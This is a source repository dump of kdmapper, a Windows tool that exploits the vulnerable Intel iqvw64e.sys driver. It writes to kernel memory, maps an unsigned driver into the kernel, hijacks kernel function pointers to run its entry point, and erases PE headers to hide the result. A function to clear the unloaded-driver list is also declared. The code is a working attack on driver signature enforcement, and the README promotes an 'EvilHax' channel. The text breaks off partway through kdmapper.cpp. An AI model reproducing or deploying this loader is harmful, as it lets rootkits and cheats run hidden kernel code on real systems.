├── kdmapper
├── a
├── kdmapper.vcxproj.user
├── service.hpp
├── utils.hpp
├── kdmapper.hpp
├── portable_executable.hpp
├── main.cpp
├── service.cpp
├── nt.hpp
├── utils.cpp
├── kdmapper.vcxproj.filters
├── portable_executable.cpp
├── intel_driver.hpp
├── kdmapper.cpp
├── kdmapper.vcxproj
└── intel_driver.cpp
├── README.md
└── kdmapper.sln
/kdmapper/a:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/kdmapper/kdmapper.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/kdmapper/service.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 |
6 | namespace service
7 | {
8 | bool RegisterAndStart(const std::string& driver_path);
9 | bool StopAndRemove(const std::string& driver_name);
10 | };
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | #KDMAPPER build [1809,1903,1909,2004]
2 |
3 | #FUTURE
4 | - Works on windows 10 build +1809
5 | - Please watch my video on youtube how to build it!
6 | - YouTbe channel name EvilHax
7 |
8 | #Website
9 | - https://evilhax.xyz
10 |
11 | #The End
12 | - thank you!
13 |
--------------------------------------------------------------------------------
/kdmapper/utils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #include "nt.hpp"
11 |
12 | namespace utils
13 | {
14 | bool ReadFileToMemory(const std::string& file_path, std::vector* out_buffer);
15 | bool CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size);
16 | uint64_t GetKernelModuleAddress(const std::string& module_name);
17 | }
--------------------------------------------------------------------------------
/kdmapper/kdmapper.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #include "portable_executable.hpp"
10 | #include "utils.hpp"
11 | #include "nt.hpp"
12 | #include "intel_driver.hpp"
13 |
14 | namespace kdmapper
15 | {
16 | uint64_t MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path);
17 | void RelocateImageByDelta(const portable_executable::vec_relocs& relocs, const uint64_t delta);
18 | bool ResolveImports(HANDLE iqvw64e_device_handle, const portable_executable::vec_imports& imports);
19 | void InitStackCookie(void* base);
20 | }
21 |
--------------------------------------------------------------------------------
/kdmapper/portable_executable.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | namespace portable_executable
8 | {
9 | struct RelocInfo
10 | {
11 | uint64_t address;
12 | uint16_t* item;
13 | uint32_t count;
14 | };
15 |
16 | struct ImportFunctionInfo
17 | {
18 | std::string name;
19 | uint64_t* address;
20 | };
21 |
22 | struct ImportInfo
23 | {
24 | std::string module_name;
25 | std::vector function_datas;
26 | };
27 |
28 | using vec_sections = std::vector;
29 | using vec_relocs = std::vector;
30 | using vec_imports = std::vector;
31 |
32 | PIMAGE_NT_HEADERS64 GetNtHeaders(void* image_base);
33 | vec_relocs GetRelocs(void* image_base);
34 | vec_imports GetImports(void* image_base);
35 | }
--------------------------------------------------------------------------------
/kdmapper/main.cpp:
--------------------------------------------------------------------------------
1 | #include "kdmapper.hpp"
2 |
3 | int main(const int argc, char** argv)
4 | {
5 | if (argc != 2 || std::filesystem::path(argv[1]).extension().string().compare(".sys"))
6 | {
7 | std::cout << "[-] Incorrect usage" << std::endl;
8 | return -1;
9 | }
10 |
11 | if (intel_driver::IsRunning())
12 | {
13 | std::cout << "[-] \\Device\\Nal is already in use. Check if iqvw64e.sys is already running" << std::endl;
14 | return -1;
15 | }
16 |
17 | const std::string driver_path = argv[1];
18 |
19 | if (!std::filesystem::exists(driver_path))
20 | {
21 | std::cout << "[-] File " << driver_path << " doesn't exist" << std::endl;
22 | return -1;
23 | }
24 |
25 | HANDLE iqvw64e_device_handle = intel_driver::Load();
26 |
27 | if (!iqvw64e_device_handle || iqvw64e_device_handle == INVALID_HANDLE_VALUE)
28 | {
29 | std::cout << "[-] Failed to load driver iqvw64e.sys" << std::endl;
30 | return -1;
31 | }
32 |
33 | if (!kdmapper::MapDriver(iqvw64e_device_handle, driver_path))
34 | {
35 | std::cout << "[-] Failed to map " << driver_path << std::endl;
36 | intel_driver::Unload(iqvw64e_device_handle);
37 | return -1;
38 | }
39 |
40 | intel_driver::Unload(iqvw64e_device_handle);
41 | std::cout << "[+] Success" << std::endl;
42 | }
--------------------------------------------------------------------------------
/kdmapper.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28010.2019
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kdmapper", "kdmapper\kdmapper.vcxproj", "{518E0636-BA8F-459D-ACAC-81BD33475E3E}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x64.ActiveCfg = Debug|x64
17 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x64.Build.0 = Debug|x64
18 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x86.ActiveCfg = Debug|Win32
19 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Debug|x86.Build.0 = Debug|Win32
20 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x64.ActiveCfg = Release|x64
21 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x64.Build.0 = Release|x64
22 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x86.ActiveCfg = Release|Win32
23 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {83D5D338-2A6D-49D5-B1DF-BDD34FB5CC9F}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/kdmapper/service.cpp:
--------------------------------------------------------------------------------
1 | #include "service.hpp"
2 |
3 | bool service::RegisterAndStart(const std::string& driver_path)
4 | {
5 | const std::string driver_name = std::filesystem::path(driver_path).filename().string();
6 | const SC_HANDLE sc_manager_handle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
7 |
8 | if (!sc_manager_handle)
9 | return false;
10 |
11 | SC_HANDLE service_handle = CreateService(sc_manager_handle, driver_name.c_str(), driver_name.c_str(), SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driver_path.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr);
12 |
13 | if (!service_handle)
14 | {
15 | service_handle = OpenService(sc_manager_handle, driver_name.c_str(), SERVICE_START);
16 |
17 | if (!service_handle)
18 | {
19 | CloseServiceHandle(sc_manager_handle);
20 | return false;
21 | }
22 | }
23 |
24 | const bool result = StartService(service_handle, 0, nullptr);
25 |
26 | CloseServiceHandle(service_handle);
27 | CloseServiceHandle(sc_manager_handle);
28 |
29 | return result;
30 | }
31 |
32 | bool service::StopAndRemove(const std::string& driver_name)
33 | {
34 | const SC_HANDLE sc_manager_handle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
35 |
36 | if (!sc_manager_handle)
37 | return false;
38 |
39 | const SC_HANDLE service_handle = OpenService(sc_manager_handle, driver_name.c_str(), SERVICE_STOP | DELETE);
40 |
41 | if (!service_handle)
42 | {
43 | CloseServiceHandle(sc_manager_handle);
44 | return false;
45 | }
46 |
47 | SERVICE_STATUS status = { 0 };
48 | const bool result = ControlService(service_handle, SERVICE_CONTROL_STOP, &status) && DeleteService(service_handle);
49 |
50 | CloseServiceHandle(service_handle);
51 | CloseServiceHandle(sc_manager_handle);
52 |
53 | return result;
54 | }
--------------------------------------------------------------------------------
/kdmapper/nt.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "ntdll.h"
4 |
5 | namespace nt
6 | {
7 | constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
8 |
9 | constexpr auto SystemModuleInformation = 11;
10 | constexpr auto SystemHandleInformation = 16;
11 | constexpr auto SystemExtendedHandleInformation = 64;
12 |
13 | typedef struct _SYSTEM_HANDLE
14 | {
15 | PVOID Object;
16 | HANDLE UniqueProcessId;
17 | HANDLE HandleValue;
18 | ULONG GrantedAccess;
19 | USHORT CreatorBackTraceIndex;
20 | USHORT ObjectTypeIndex;
21 | ULONG HandleAttributes;
22 | ULONG Reserved;
23 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE;
24 |
25 | typedef struct _SYSTEM_HANDLE_INFORMATION_EX
26 | {
27 | ULONG_PTR HandleCount;
28 | ULONG_PTR Reserved;
29 | SYSTEM_HANDLE Handles[1];
30 | } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
31 |
32 | typedef enum _POOL_TYPE {
33 | NonPagedPool,
34 | NonPagedPoolExecute,
35 | PagedPool,
36 | NonPagedPoolMustSucceed,
37 | DontUseThisType,
38 | NonPagedPoolCacheAligned,
39 | PagedPoolCacheAligned,
40 | NonPagedPoolCacheAlignedMustS,
41 | MaxPoolType,
42 | NonPagedPoolBase,
43 | NonPagedPoolBaseMustSucceed,
44 | NonPagedPoolBaseCacheAligned,
45 | NonPagedPoolBaseCacheAlignedMustS,
46 | NonPagedPoolSession,
47 | PagedPoolSession,
48 | NonPagedPoolMustSucceedSession,
49 | DontUseThisTypeSession,
50 | NonPagedPoolCacheAlignedSession,
51 | PagedPoolCacheAlignedSession,
52 | NonPagedPoolCacheAlignedMustSSession,
53 | NonPagedPoolNx,
54 | NonPagedPoolNxCacheAligned,
55 | NonPagedPoolSessionNx
56 | } POOL_TYPE;
57 |
58 | typedef struct _RTL_PROCESS_MODULE_INFORMATION
59 | {
60 | HANDLE Section;
61 | PVOID MappedBase;
62 | PVOID ImageBase;
63 | ULONG ImageSize;
64 | ULONG Flags;
65 | USHORT LoadOrderIndex;
66 | USHORT InitOrderIndex;
67 | USHORT LoadCount;
68 | USHORT OffsetToFileName;
69 | UCHAR FullPathName[256];
70 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
71 |
72 | typedef struct _RTL_PROCESS_MODULES
73 | {
74 | ULONG NumberOfModules;
75 | RTL_PROCESS_MODULE_INFORMATION Modules[1];
76 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
77 | }
--------------------------------------------------------------------------------
/kdmapper/utils.cpp:
--------------------------------------------------------------------------------
1 | #include "utils.hpp"
2 |
3 | bool utils::ReadFileToMemory(const std::string& file_path, std::vector* out_buffer)
4 | {
5 | std::ifstream file_ifstream(file_path, std::ios::binary);
6 |
7 | if (!file_ifstream)
8 | return false;
9 |
10 | out_buffer->assign((std::istreambuf_iterator(file_ifstream)), std::istreambuf_iterator());
11 | file_ifstream.close();
12 |
13 | return true;
14 | }
15 |
16 | bool utils::CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size)
17 | {
18 | std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary);
19 |
20 | if (!file_ofstream.write(address, size))
21 | {
22 | file_ofstream.close();
23 | return false;
24 | }
25 |
26 | file_ofstream.close();
27 | return true;
28 | }
29 |
30 | uint64_t utils::GetKernelModuleAddress(const std::string& module_name)
31 | {
32 | void* buffer = nullptr;
33 | DWORD buffer_size = 0;
34 |
35 | NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
36 |
37 | while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
38 | {
39 | VirtualFree(buffer, 0, MEM_RELEASE);
40 |
41 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
42 | status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
43 | }
44 |
45 | if (!NT_SUCCESS(status))
46 | {
47 | VirtualFree(buffer, 0, MEM_RELEASE);
48 | return 0;
49 | }
50 |
51 | const auto modules = static_cast(buffer);
52 |
53 | for (auto i = 0u; i < modules->NumberOfModules; ++i)
54 | {
55 | const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName);
56 |
57 | if (!_stricmp(current_module_name.c_str(), module_name.c_str()))
58 | {
59 | const uint64_t result = reinterpret_cast(modules->Modules[i].ImageBase);
60 |
61 | VirtualFree(buffer, 0, MEM_RELEASE);
62 | return result;
63 | }
64 | }
65 |
66 | VirtualFree(buffer, 0, MEM_RELEASE);
67 | return 0;
68 | }
--------------------------------------------------------------------------------
/kdmapper/kdmapper.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 |
38 |
39 | Source Files
40 |
41 |
42 | Source Files
43 |
44 |
45 | Source Files
46 |
47 |
48 | Source Files
49 |
50 |
51 | Source Files
52 |
53 |
54 | Source Files
55 |
56 |
57 | Source Files
58 |
59 |
60 | Source Files
61 |
62 |
63 |
--------------------------------------------------------------------------------
/kdmapper/portable_executable.cpp:
--------------------------------------------------------------------------------
1 | #include "portable_executable.hpp"
2 | #include "ntdll.h"
3 |
4 | PIMAGE_NT_HEADERS64 portable_executable::GetNtHeaders(void* image_base)
5 | {
6 | const PIMAGE_NT_HEADERS64 headers = RtlImageNtHeader(image_base);
7 | return headers != nullptr && headers->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC ? headers : nullptr;
8 | }
9 |
10 | portable_executable::vec_relocs portable_executable::GetRelocs(void* image_base)
11 | {
12 | const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base);
13 |
14 | if (!nt_headers)
15 | return {};
16 |
17 | vec_relocs relocs;
18 |
19 | auto current_base_relocation = reinterpret_cast(reinterpret_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
20 | const auto reloc_end = reinterpret_cast(current_base_relocation) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
21 |
22 | while (current_base_relocation->VirtualAddress && current_base_relocation->VirtualAddress < reloc_end && current_base_relocation->SizeOfBlock)
23 | {
24 | RelocInfo reloc_info{};
25 |
26 | reloc_info.address = reinterpret_cast(image_base) + current_base_relocation->VirtualAddress;
27 | reloc_info.item = reinterpret_cast(reinterpret_cast(current_base_relocation) + sizeof(IMAGE_BASE_RELOCATION));
28 | reloc_info.count = (current_base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(uint16_t);
29 |
30 | relocs.push_back(reloc_info);
31 |
32 | current_base_relocation = reinterpret_cast(reinterpret_cast(current_base_relocation) + current_base_relocation->SizeOfBlock);
33 | }
34 |
35 | return relocs;
36 | }
37 |
38 | portable_executable::vec_imports portable_executable::GetImports(void* image_base)
39 | {
40 | const PIMAGE_NT_HEADERS64 nt_headers = GetNtHeaders(image_base);
41 |
42 | if (!nt_headers)
43 | return {};
44 |
45 | vec_imports imports;
46 |
47 | auto current_import_descriptor = reinterpret_cast(reinterpret_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
48 |
49 | while (current_import_descriptor->FirstThunk)
50 | {
51 | ImportInfo import_info;
52 |
53 | import_info.module_name = std::string(reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->Name));
54 |
55 | auto current_first_thunk = reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->FirstThunk);
56 | auto current_originalFirstThunk = reinterpret_cast(reinterpret_cast(image_base) + current_import_descriptor->OriginalFirstThunk);
57 |
58 | while (current_originalFirstThunk->u1.Function)
59 | {
60 | ImportFunctionInfo import_function_data;
61 |
62 | auto thunk_data = reinterpret_cast(reinterpret_cast(image_base) + current_originalFirstThunk->u1.AddressOfData);
63 |
64 | import_function_data.name = thunk_data->Name;
65 | import_function_data.address = ¤t_first_thunk->u1.Function;
66 |
67 | import_info.function_datas.push_back(import_function_data);
68 |
69 | ++current_originalFirstThunk;
70 | ++current_first_thunk;
71 | }
72 |
73 | imports.push_back(import_info);
74 | ++current_import_descriptor;
75 | }
76 |
77 | return imports;
78 | }
--------------------------------------------------------------------------------
/kdmapper/intel_driver.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #include "intel_driver_resource.hpp"
9 | #include "service.hpp"
10 | #include "utils.hpp"
11 |
12 | namespace intel_driver
13 | {
14 | constexpr auto driver_name = "iqvw64e.sys";
15 | constexpr uint32_t ioctl1 = 0x80862007;
16 |
17 | typedef struct _COPY_MEMORY_BUFFER_INFO
18 | {
19 | uint64_t case_number;
20 | uint64_t reserved;
21 | uint64_t source;
22 | uint64_t destination;
23 | uint64_t length;
24 | }COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO;
25 |
26 | typedef struct _FILL_MEMORY_BUFFER_INFO
27 | {
28 | uint64_t case_number;
29 | uint64_t reserved1;
30 | uint32_t value;
31 | uint32_t reserved2;
32 | uint64_t destination;
33 | uint64_t length;
34 | }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;
35 |
36 | typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO
37 | {
38 | uint64_t case_number;
39 | uint64_t reserved;
40 | uint64_t return_physical_address;
41 | uint64_t address_to_translate;
42 | }GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO;
43 |
44 | typedef struct _MAP_IO_SPACE_BUFFER_INFO
45 | {
46 | uint64_t case_number;
47 | uint64_t reserved;
48 | uint64_t return_value;
49 | uint64_t return_virtual_address;
50 | uint64_t physical_address_to_map;
51 | uint32_t size;
52 | }MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO;
53 |
54 | typedef struct _UNMAP_IO_SPACE_BUFFER_INFO
55 | {
56 | uint64_t case_number;
57 | uint64_t reserved1;
58 | uint64_t reserved2;
59 | uint64_t virt_address;
60 | uint64_t reserved3;
61 | uint32_t number_of_bytes;
62 | }UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO;
63 |
64 | bool IsRunning();
65 | HANDLE Load();
66 | void Unload(HANDLE device_handle);
67 |
68 | bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
69 | bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size);
70 | bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address);
71 | uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size);
72 | bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size);
73 | bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
74 | bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
75 | bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size);
76 | uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);
77 | bool FreePool(HANDLE device_handle, uint64_t address);
78 | uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name);
79 | bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address);
80 | bool GetNtGdiGetCOPPCompatibleOPMInformationInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint8_t* out_kernel_original_bytes);
81 | bool ClearMmUnloadedDrivers(HANDLE device_handle);
82 |
83 | template
84 | bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments)
85 | {
86 | constexpr auto call_void = std::is_same_v;
87 |
88 | if constexpr (!call_void)
89 | {
90 | if (!out_result)
91 | return false;
92 | }
93 | else
94 | {
95 | UNREFERENCED_PARAMETER(out_result);
96 | }
97 |
98 | if (!kernel_function_address)
99 | return false;
100 |
101 | // Setup function call
102 |
103 | const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2"));
104 | const auto NtGdiGetCOPPCompatibleOPMInformation = reinterpret_cast(GetProcAddress(LoadLibrary("win32u.dll"), "NtGdiGetCOPPCompatibleOPMInformation"));
105 |
106 | if (!NtGdiDdDDIReclaimAllocations2 && !NtGdiGetCOPPCompatibleOPMInformation)
107 | {
108 | std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2 / win32u.NtGdiGetCOPPCompatibleOPMInformation" << std::endl;
109 | return false;
110 | }
111 |
112 | uint64_t kernel_function_ptr = 0;
113 | uint8_t kernel_function_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
114 | uint64_t kernel_original_function_address = 0;
115 | uint8_t kernel_original_function_jmp[sizeof(kernel_function_jmp)];
116 |
117 | if (NtGdiDdDDIReclaimAllocations2)
118 | {
119 | // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2)
120 | if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address))
121 | return false;
122 |
123 | // Overwrite the pointer with kernel_function_address
124 | if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address)))
125 | return false;
126 | }
127 | else
128 | {
129 | // Get address of NtGdiGetCOPPCompatibleOPMInformation and save the original jmp bytes + 0xCC filler
130 | if (!GetNtGdiGetCOPPCompatibleOPMInformationInfo(device_handle, &kernel_function_ptr, kernel_original_function_jmp))
131 | return false;
132 |
133 | // Overwrite jmp with 'movabs rax, , jmp rax'
134 | memcpy(kernel_function_jmp + 2, &kernel_function_address, sizeof(kernel_function_address));
135 |
136 | if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_function_jmp, sizeof(kernel_function_jmp)))
137 | return false;
138 | }
139 |
140 | // Call function
141 |
142 | if constexpr (!call_void)
143 | {
144 | using FunctionFn = T(__stdcall*)(A...);
145 | const auto Function = reinterpret_cast(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);
146 |
147 | *out_result = Function(arguments...);
148 | }
149 | else
150 | {
151 | using FunctionFn = void(__stdcall*)(A...);
152 | const auto Function = reinterpret_cast(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);
153 |
154 | Function(arguments...);
155 | }
156 |
157 | // Restore the pointer/jmp
158 | if (NtGdiDdDDIReclaimAllocations2)
159 | {
160 | WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address));
161 | }
162 | else
163 | {
164 | WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_original_function_jmp, sizeof(kernel_original_function_jmp));
165 | }
166 | return true;
167 | }
168 | }
--------------------------------------------------------------------------------
/kdmapper/kdmapper.cpp:
--------------------------------------------------------------------------------
1 | #include "kdmapper.hpp"
2 |
3 | uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path)
4 | {
5 | std::vector raw_image = { 0 };
6 |
7 | if (!utils::ReadFileToMemory(driver_path, &raw_image))
8 | {
9 | std::cout << "[-] Failed to read image to memory" << std::endl;
10 | return 0;
11 | }
12 |
13 | const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(raw_image.data());
14 |
15 | if (!nt_headers)
16 | {
17 | std::cout << "[-] Invalid or non-x64 PE image" << std::endl;
18 | return 0;
19 | }
20 |
21 | const uint32_t image_size = nt_headers->OptionalHeader.SizeOfImage;
22 |
23 | void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
24 | uint64_t kernel_image_base = intel_driver::AllocatePool(iqvw64e_device_handle, nt::NonPagedPool, image_size);
25 |
26 | do
27 | {
28 | if (!kernel_image_base)
29 | {
30 | std::cout << "[-] Failed to allocate remote image in kernel" << std::endl;
31 | break;
32 | }
33 |
34 | std::cout << "[+] Image base has been allocated at 0x" << reinterpret_cast(kernel_image_base) << std::endl;
35 |
36 | // Copy image headers
37 |
38 | memcpy(local_image_base, raw_image.data(), nt_headers->OptionalHeader.SizeOfHeaders);
39 |
40 | // Copy image sections
41 |
42 | const PIMAGE_SECTION_HEADER section_headers = IMAGE_FIRST_SECTION(nt_headers);
43 |
44 | for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i)
45 | {
46 | if ((section_headers[i].Characteristics & (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE)) != 0 &&
47 | section_headers[i].PointerToRawData != 0)
48 | {
49 | const auto local_section = reinterpret_cast(reinterpret_cast(local_image_base) + section_headers[i].VirtualAddress);
50 | memcpy(local_section, reinterpret_cast(reinterpret_cast(raw_image.data()) + section_headers[i].PointerToRawData), section_headers[i].SizeOfRawData);
51 | }
52 | }
53 |
54 | // Initialize stack cookie if driver was compiled with /GS
55 |
56 | InitStackCookie(local_image_base);
57 |
58 | // Resolve relocs and imports
59 |
60 | // A missing relocation directory is OK, but disallow IMAGE_FILE_RELOCS_STRIPPED
61 | // Not checked: IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE in DllCharacteristics. The DDK/WDK has never set this mostly for historical reasons
62 | const portable_executable::vec_relocs& relocs = portable_executable::GetRelocs(local_image_base);
63 | if (relocs.empty() && (nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) != 0)
64 | {
65 | std::cout << "[-] Image is not relocatable" << std::endl;
66 | break;
67 | }
68 |
69 | RelocateImageByDelta(relocs, kernel_image_base - nt_headers->OptionalHeader.ImageBase);
70 |
71 | if (!ResolveImports(iqvw64e_device_handle, portable_executable::GetImports(local_image_base)))
72 | {
73 | std::cout << "[-] Failed to resolve imports" << std::endl;
74 | break;
75 | }
76 |
77 | // Write fixed image to kernel
78 |
79 | if (!intel_driver::WriteMemory(iqvw64e_device_handle, kernel_image_base, local_image_base, image_size))
80 | {
81 | std::cout << "[-] Failed to write local image to remote image" << std::endl;
82 | break;
83 | }
84 |
85 | VirtualFree(local_image_base, 0, MEM_RELEASE);
86 |
87 | // Call driver entry point
88 |
89 | const uint64_t address_of_entry_point = kernel_image_base + nt_headers->OptionalHeader.AddressOfEntryPoint;
90 |
91 | std::cout << "[<] Calling DriverEntry 0x" << reinterpret_cast(address_of_entry_point) << std::endl;
92 |
93 | NTSTATUS status = 0;
94 |
95 | if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point))
96 | {
97 | std::cout << "[-] Failed to call driver entry" << std::endl;
98 | break;
99 | }
100 |
101 | std::cout << "[+] DriverEntry returned 0x" << std::hex << std::setw(8) << std::setfill('0') << std::uppercase << status << std::nouppercase << std::dec << std::endl;
102 |
103 | // Erase PE headers
104 |
105 | intel_driver::SetMemory(iqvw64e_device_handle, kernel_image_base, 0, nt_headers->OptionalHeader.SizeOfHeaders);
106 | return kernel_image_base;
107 |
108 | } while (false);
109 |
110 | VirtualFree(local_image_base, 0, MEM_RELEASE);
111 | intel_driver::FreePool(iqvw64e_device_handle, kernel_image_base);
112 |
113 | return 0;
114 | }
115 |
116 | void kdmapper::RelocateImageByDelta(const portable_executable::vec_relocs& relocs, const uint64_t delta)
117 | {
118 | for (const auto& current_reloc : relocs)
119 | {
120 | for (auto i = 0u; i < current_reloc.count; ++i)
121 | {
122 | const uint16_t type = current_reloc.item[i] >> 12;
123 | const uint16_t offset = current_reloc.item[i] & 0xFFF;
124 |
125 | if (type == IMAGE_REL_BASED_DIR64)
126 | * reinterpret_cast(current_reloc.address + offset) += delta;
127 | }
128 | }
129 | }
130 |
131 | bool kdmapper::ResolveImports(HANDLE iqvw64e_device_handle, const portable_executable::vec_imports& imports)
132 | {
